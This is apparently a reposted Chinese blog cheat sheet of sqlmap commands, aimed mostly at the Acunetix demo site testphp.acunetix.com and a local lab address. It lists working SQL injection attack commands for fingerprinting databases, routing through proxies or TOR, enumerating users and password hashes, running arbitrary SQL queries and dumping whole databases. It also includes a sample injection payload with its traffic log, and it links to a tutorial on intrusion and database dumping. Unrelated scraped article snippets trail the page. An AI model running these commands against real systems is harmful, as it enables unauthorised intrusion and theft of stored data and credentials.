SQLMAP实用实例(转)
sqlmap使用笔记:http://wenku.baidu.com/view/8c507ffcaef8941ea76e055e.html
BT5下使用SQLMAP入侵加脱裤:http://www.myhack58.com/Article/html/3/8/2012/35350_4.htm
sqlmap.exe --help 帮助
sqlmap.exe --update 更新
sqlmap.exe -u "http://testphp.acunetix.com/listproducts.php?artist=1" -v 1 --sql-shell //执行SQL语句
sqlmap.exe -u "http://testphp.acunetix.com/listproducts.php?artist=1" -v 5 //更详细的信息
从配置文件载入相关选项设置
sqlmap -c sqlmap.conf
使用POST方法提交
sqlmap.exe -u "http://testphp.acunetix.com/listproducts.php" --method POST --data "artist=1"
使用COOKIES方式提交,cookie的值用;分割,可以使用TamperData来抓cookies
sqlmap.exe -u "http://testphp.acunetix.com/listproducts.php" --cookie "artist=1" -v 1
使用referer欺骗
sqlmap.exe -u "http://testphp.acunetix.com/listproducts.php?artist=1" --referer "http://www.google.com" -v 3
使用自定义user-agent,或者使用随机使用自带的user-agents.txt
sqlmap.exe
-u "http://testphp.acunetix.com/listproducts.php?artist=1" --user-agent
"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)" -v 3
sqlmap.exe -u "http://testphp.acunetix.com/listproducts.php?artist=1" -v 1 -a "./txt/user-agents.txt"
使用基本认证
sqlmap.exe -u "http://testphp.acunetix.com/listproducts.php?artist=1" --auth-type Basic --auth-cred "testuser:testpass" -v 3
使用Digest认证
sqlmap.exe -u "http://testphp.acunetix.com/listproducts.php?artist=1" --auth-type Digest --auth-cred "testuser:testpass" -v 3
使用代理,配合TOR
sqlmap.exe -u "http://testphp.acunetix.com/listproducts.php?artist=1" --proxy "http://192.168.1.47:3128"
sqlmap.exe -u "http://testphp.acunetix.com/listproducts.php?artist=1" --proxy "http://192.168.1.47:8118"
使用多线程猜解
sqlmap.exe -u "http://testphp.acunetix.com/listproducts.php?artist=1" -v 1 --current-user --threads 3
绕过动态检测,直接指定有注入点的参数,可以使用,分割多个参数,指定user-agent注入
sqlmap.exe -u "http://testphp.acunetix.com/listproducts.php?artist=1" -v 1 -p "id"
sqlmap.exe -u "http://testphp.acunetix.com/listproducts.php?artist=1&cat=2" -v 1 -p "cat,id"
sqlmap.exe -u "http://testphp.acunetix.com/listproducts.php" -v 1 -p "user-agent" --user-agent "sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)"
指定数据库,绕过SQLMAP的自动检测
sqlmap.exe -u "http://testphp.acunetix.com/listproducts.php?artist=1" -v 2 --dbms "MYSQL"
* MySQL
* Oracle
* PostgreSQL
* Microsoft SQL Server
指定操作系统,绕过SQLMAP自动检测
sqlmap.exe -u "http://testphp.acunetix.com/listproducts.php?artist=1" -v 2 --os "Windows"
* Linux
* Windows
自定义payload
Options: --prefix and --postfix
In
some circumstances the vulnerable parameter is exploitable only if the
user provides a postfix to be appended to the injection payload. Another
scenario where these options come handy presents itself when the user
already knows that query syntax and want to detect and exploit the SQL
injection by directly providing a injection payload prefix and/or
postfix.
Example on a MySQL 5.0.67 target on a page where the SQL
query is: $query = "SELECT * FROM users WHERE id=('" . $_GET['id'] .
"') LIMIT 0, 1";:
sqlmap.exe -u "http://192.168.1.121/sqlmap/mysql/get_str_brackets.php?id=1" -v 3 -p "id" --prefix "'" --postfix "AND 'test'='test"
[...]
[hh:mm:16] [INFO] testing sql injection on GET parameter 'id' with 0 parenthesis
[hh:mm:16] [INFO] testing custom injection on GET parameter 'id'
[hh:mm:16] [TRAFFIC OUT] HTTP request:
GET /sqlmap/mysql/get_str_brackets.php?id=1%27%29%20AND%207433=7433%20AND%20
%28%27test%27=%27test HTTP/1.1
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Host: 192.168.1.121:80
Accept-language: en-us,en;q=0.5
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
image/png,*/*;q=0.5
User-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)
Connection: close
[...]
[hh:mm:17] [INFO] GET parameter 'id' is custom injectable
[...]
As you can see, the injection payload for testing for custom injection is:
id=1%27%29%20AND%207433=7433%20AND%20%28%27test%27=%27test
which URL decoded is:
id=1') AND 7433=7433 AND ('test'='test
and makes the query syntatically correct to the page query:
SELECT * FROM users WHERE id=('1') AND 7433=7433 AND ('test'='test') LIMIT 0, 1
In this simple example, sqlmap
could detect the SQL injection and exploit it without need to provide a
custom injection payload, but sometimes in the real world application
it is necessary to provide it.
页面比较
sqlmap.exe -u "http://testphp.acunetix.com/listproducts.php?artist=1" --string "luther" -v 1
sqlmap.exe -u "http://testphp.acunetix.com/listproducts.php?artist=1" --regexp "lu[\w][\w]er" -v
排除网站的内容
sqlmap.exe -u "http://testphp.acunetix.com/listproducts.php?artist=1" --excl-reg "Dynamic content: ([\d]+)"
多语句测试,php内嵌函数mysql_query(),不支持多语句
sqlmap.exe -u "http://testphp.acunetix.com/listproducts.php?artist=1" --stacked-test -v 1
union注入测试
sqlmap.exe -u "http://testphp.acunetix.com/listproducts.php?artist=1" --union-test -v 1
unionz注入配合orderby
sqlmap.exe -u "http://testphp.acunetix.com/listproducts.php?artist=1" --union-test --union-tech orderby -v 1
sqlmap.exe -u "http://testphp.acunetix.com/listproducts.php?artist=1" -v 1 --union-use --banner
sqlmap.exe -u "http://testphp.acunetix.com/listproducts.php?artist=1" -v 5 --union-use --current-user
sqlmap.exe -u "http://testphp.acunetix.com/listproducts.php?artist=1" -v 1 --union-use --dbs
数据库指纹输出
sqlmap.exe -u "http://testphp.acunetix.com/listproducts.php?artist=1" -v 1 -f
sqlmap.exe -u "http://testphp.acunetix.com/listproducts.php?artist=1" -v 1 -f -b
判断当前用户是否是dba
sqlmap.exe -u "http://testphp.acunetix.com/listproducts.php?artist=1" --is-dba -v 1
列举数据库用户
sqlmap.exe -u "http://testphp.acunetix.com/listproducts.php?artist=1" --users -v 0
列举数据库用户密码
sqlmap.exe -u "http://testphp.acunetix.com/listproducts.php?artist=1" --passwords -v 0
sqlmap.exe -u "http://testphp.acunetix.com/listproducts.php?artist=1" --passwords -U sa -v 0
查看用户权限
sqlmap.exe -u "http://testphp.acunetix.com/listproducts.php?artist=1" --privileges -v 0
sqlmap.exe -u "http://testphp.acunetix.com/listproducts.php?artist=1" --privileges -U postgres -v 0
列数据库
sqlmap.exe -u "http://testphp.acunetix.com/listproducts.php?artist=1" --dbs -v 0
列出指定数据库指定表的列名
sqlmap.exe -u "http://testphp.acunetix.com/listproducts.php?artist=1" --columns -T users -D test -v 1
导出数据库指定表的指定列的内容
sqlmap.exe -u "http://testphp.acunetix.com/listproducts.php?artist=1" --dump -T users -D master -C username -v 0
导出指定列的范围从2-4
sqlmap.exe -u "http://testphp.acunetix.com/listproducts.php?artist=1" --dump -T users -D test --start 2 --stop 4 -v 0
导出所有数据库,所有表的内容
sqlmap.exe -u "http://testphp.acunetix.com/listproducts.php?artist=1" --dump-all -v 0
只列出用户自己新建的数据库和表的内容
sqlmap.exe -u "http://testphp.acunetix.com/listproducts.php?artist=1" --dump-all --exclude-sysdbs -v 0
使用自定义sql语句查询
sqlmap.exe -u "http://testphp.acunetix.com/listproducts.php?artist=1" --sql-query "SELECT usename FROM user" -v 0
sqlmap.exe
-u "http://testphp.acunetix.com/listproducts.php?artist=1" --sql-query
"SELECT host, password FROM mysql.user LIMIT 1, 3" -v 1
保存和恢复会话
sqlmap.exe -u "http://testphp.acunetix.com/listproducts.php?artist=1" -b -v 1 -s "sqlmap.log"
保存选项到INC配置文件
sqlmap.exe -u "http://testphp.acunetix.com/listproducts.php?artist=1" -b -v 1 --save
SQLMAP实用实例(转)的更多相关文章
- jQuery UI 入门之实用实例分享
jQuery UI 入门 jQuery UI 简介 jQuery UI 是一个建立在 jQuery JavaScript 库上的小部件和交互库,您可以使用它创建高度交互的 Web 应用程序.无论您是创 ...
- jQuery UI 入门之实用实例
jQuery UI 入门 jQuery UI 简介 jQuery UI 是一个建立在 jQuery JavaScript 库上的小部件和交互库,您可以使用它创建高度交互的 Web 应用程序.无论您是创 ...
- Python操作MySQL数据库9个实用实例
用python连接mysql的时候,需要用的安装版本,源码版本容易有错误提示.下边是打包了32与64版本. MySQL-python-1.2.3.win32-py2.7.exe MySQL-pytho ...
- 关于JS递归函数细化认识及实用实例
程序调用自身的编程技巧称为递归( recursion). 一个过程或函数在其定义或说明中又直接或间接调用自身的一种方法,它通常把一个大型复杂的问题层层转化为一个与原问题相似的规模较小的问题来求解,递归 ...
- jackson的简单实用实例(json)
一个json格式的字符串比如: {"status":10001,"code":"HDkGzI","pubkey":&qu ...
- Ajax的简单实用实例
我将实现一个简单的Ajax页面无刷新进行用户验证案例: 效果如下图:
- python--Numpy简单实用实例
# _*_ coding:utf-8 _*_ import numpy as np #创建数组 a=np.array([[1.,7.,0.],[-2.,1.,2.]]) print a #ndarra ...
- Linxu下 expect的实用实例_1
案例 例1:从本机自动登录到远程机器192.168.1.200(端口是22,密码是:PASSWORD)登录到远程机器后做以下几个操作:1)useradd wangshibo2)mkdir /opt/t ...
- CSS 实用实例
背景颜色 1. 颜色背景 <style type="text/css">body { font-size: 16px;">h1 { font-size: ...
随机推荐
- android 引用 project以及下拉刷新开源类库Android-PullToRefresh 的使用
Android-PullToRefresh 是一个github上的开源下拉刷新类库, GitHub .此外,该作者还有另外一个实用度和关注量极高的项目–另一种Android ActionBar的实现 ...
- C# 自定义光标 WaitCursor
一种: 把图像文件放到项目的文件夹中 1 如果图像文件是.cur格式: Cursor cur=new Cursor(文件名); this.cursor=cur; 两句话 就完事 2 如果图像文件是其他 ...
- CSS那些事儿-阅读随笔3(清除浮动)
浮动主要是由浮动(float)属性导致的页面错位现象,清除浮动不仅能解决页面错位的现象,还可以解决子元素浮动导致父元素背景无法自适应子元素高度的问题.在CSS样式中,主要利用clear属性中的both ...
- 深入理解Java虚拟机 - Java体系
使用JAVA已经快三年了,但说来惭愧,一直以来认为Java就是Java语言本身,最多再包括一个JVM,对于整个Java的体系结构还是不甚明了,现在有时间把<深入理解Java虚拟机>这本书读 ...
- bzoj2668
对于这种题很容易看出是费用流吧…… 但这道题不容易建模: 首先是怎么表示目标状态和其实状态,看起来有黑有白很复杂 但实际上,不难发现,白色格子没什么用,起决定作用的是黑格子 也就是我们可以把问题简化: ...
- UVa 658 (Dijkstra) It's not a Bug, it's a Feature!
题意: 有n个BUG和m个补丁,每个补丁用一个串表示打补丁前的状态要满足的要求,第二个串表示打完后对补丁的影响,还有打补丁所需要的时间. 求修复所有BUG的最短时间. 分析: 可以用n个二进制位表示这 ...
- UVa 11040 (水题) Add bricks in the wall
题意: 45块石头如图排列,每块石头上的数等于下面支撑它的两数之和,求其余未表示的数. 分析: 首先来计算最下面一行的数,A71 = A81 + A82 = A91 + 2A92 + A93,变形得到 ...
- ☀【document / location】
<!DOCTYPE html> <html lang="zh-CN"> <head> <meta charset="utf-8& ...
- SQL Server 2008 R2主数据服务安装
SQL Server 2008 R2的主数据服务(Master Data Services,简称MDS)已经放出,目前是CTP版本,微软提供了下载地址: http://www.microsoft.co ...
- FFmpeg 2.0编译配置
./configure --enable-shared --enable-doc --enable-ffmpeg --enable-ffplay --enable-ffprobe --enable- ...